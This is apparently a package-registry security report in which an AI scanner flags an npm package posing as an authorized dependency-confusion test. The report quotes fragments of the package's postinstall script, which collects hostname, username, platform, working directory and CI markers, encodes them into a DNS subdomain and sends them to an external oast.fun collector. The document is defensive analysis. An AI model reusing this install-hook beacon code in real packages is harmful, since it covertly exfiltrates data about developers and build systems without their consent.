registry / Data exfiltration / @myorder-frontend-commons/analytics / 99.0.0

@myorder-frontend-commons/analytics@99.0.0

AUTHORIZED security research PoC (dependency-confusion test for Allegro, with written permission from Allegro Cybersecurity). Harmless: emits a single host-identification beacon on install to confirm code execution in the build/CI environment, then exits.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 10d ago · by lpm-firewall-ai

The manifest activates the beacon automatically, and the source shows host and environment identifiers sent to a publisher-selected external collector. This supports blocking as install-hook abuse; the source's research authorization claim does not establish installer consent.

Static reason

One or more suspicious static signals were detected.

Trigger

Installing the package runs its postinstall hook.

Impact

The collector learns that a host or build environment installed the package and receives identifying environment metadata.

Mechanism

The hook gathers host and environment identifiers, places host and user data in a DNS subdomain, and sends the collected values in an HTTP GET request.

Attack narrative

On package installation, the postinstall hook runs a script that sends host, user, platform, working directory, Node version, and CI marker names to an external OAST collector. It also encodes the host and user into the request's DNS subdomain. This is automatic disclosure of identifying environment data without an installer consent check.

AI rationale

Evidence

package.jsonpoc.js

Network endpoints1

db4jftohu4noreqdanngpnb3ger45ykrt.oast.fun

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The package runs poc.js automatically through its postinstall hook.
The source describes the behavior as an authorized security test, but that claim does not establish installer consent.
The script defaults to an external OAST collector and uses it as the request host.
It gathers host, user, platform, working directory, Node version, and CI marker names.
It encodes the host and user into a DNS subdomain and serializes the gathered values into a query string.
The script sends those values in an HTTP GET request to the collector.

Evidence against

Behavioral surface

Source

EnvironmentVarsNetwork

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 4.47 KB of source

Source & flagged code

8 flagged

package.jsonView file

•scripts.postinstall = node poc.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"postinstall": "node poc.js" }, "keywords": ["security", "poc", "dependency-

High

Suspicious Lifecycle Evidence

The package runs poc.js automatically through its postinstall hook.

package.jsonView on unpkg · L7

poc.jsView file

26var OOB = process.env.POC_CALLBACK_DOMAIN || '[redacted].oast.fun'; var TOKEN = '1d24b2a9-2313-4d11-b6ca-dbeb7d55dc91'; var CI_MARKERS = ['CI', 'JENKINS_URL

High

Ai Review Evidence

The script defaults to an external OAST collector and uses it as the request host.

poc.jsView on unpkg · L26

42var info = { poc: TOKEN, trigger: 'postinstall', pkg: '@myorder-frontend-commons/analytics', pkgVersion: safe(function () { return require('./package.json').version; }, '?'), hostname: safe(function () { return os.hostname(); }, '?'), user: safe(function () { return os.userInfo().username; }, '?'), platform: safe(function () { return os.platform() + '-' + os.arch() + '-' + os.release(); }, '?'), cwd: safe(function () { return proc

High

Ai Review Evidence

It gathers host, user, platform, working directory, Node version, and CI marker names.

poc.jsView on unpkg · L42

58var raw = (info.hostname + '|' + info.user).toLowerCase(); var hex = Buffer.from(raw).toString('hex').slice(0, 50); return hex.replace(/[^a-f0-9]/g, ''); }, 'x'); var host = l

High

Ai Review Evidence

It encodes the host and user into a DNS subdomain and serializes the gathered values into a query string.

poc.jsView on unpkg · L58

65var qs = Object.keys(info).map(function (k) { return encodeURIComponent(k) + '=' + encodeURIComponent(String(info[k])); }).join('&'); try { var req = http.get( { host: hos

High

Ai Review Evidence

It encodes the host and user into a DNS subdomain and serializes the gathered values into a query string.

poc.jsView on unpkg · L65

70var req = http.get( { host: host, port: 80, path: '/beacon/' + TOKEN + '?' + qs, timeout: 4000, headers: { 'User-Agent': 'allegro-dc-poc/1.0 (authorized security test)' } }, function (res) { res.resume(); } ); req.on('error', function () {}); // network blocked / collector down — stay silent req.on('timeout', function () { req.destroy(); }); } catch (e

High

Ai Review Evidence

The script sends those values in an HTTP GET request to the collector.

poc.jsView on unpkg · L70

4Written with explicit written permission from Allegro's Cybersecurity * Offensive Team (Acting Manager, Cybersecurity). Purpose: confirm that a * public package published under the (previously unclaimed) npm scope * "@myorder-frontend-commons" is

Medium

Stripped Provenance Metadata

The source describes the behavior as an authorized security test, but that claim does not establish installer consent.

poc.jsView on unpkg · L4

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.postinstall = node poc.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"postinstall": "node poc.js" }, "keywords": ["security", "poc", "dependency-

High

Suspicious Lifecycle Evidence

The package runs poc.js automatically through its postinstall hook.

package.jsonView on unpkg · L7

poc.jsView file

26var OOB = process.env.POC_CALLBACK_DOMAIN || '[redacted].oast.fun'; var TOKEN = '1d24b2a9-2313-4d11-b6ca-dbeb7d55dc91'; var CI_MARKERS = ['CI', 'JENKINS_URL

High

Ai Review Evidence

The script defaults to an external OAST collector and uses it as the request host.

poc.jsView on unpkg · L26

Findings

7 High3 Medium1 Low

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencepoc.js

MediumNetwork

MediumEnvironment Vars

MediumStripped Provenance Metadatapoc.js

LowScripts Present

Affected versions and remediation

This report applies to @myorder-frontend-commons/analytics@99.0.0.

See all versions of @myorder-frontend-commons/analytics for other recorded verdicts.

Avoid installing @myorder-frontend-commons/analytics@99.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-13 23:00:04.836Z (UTC).

Source advisory published: 2026-10-09 19:31:38.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Related packages

Other data exfiltration packages

Behavioral surface

Source & flagged code

Related packages

Other data exfiltration packages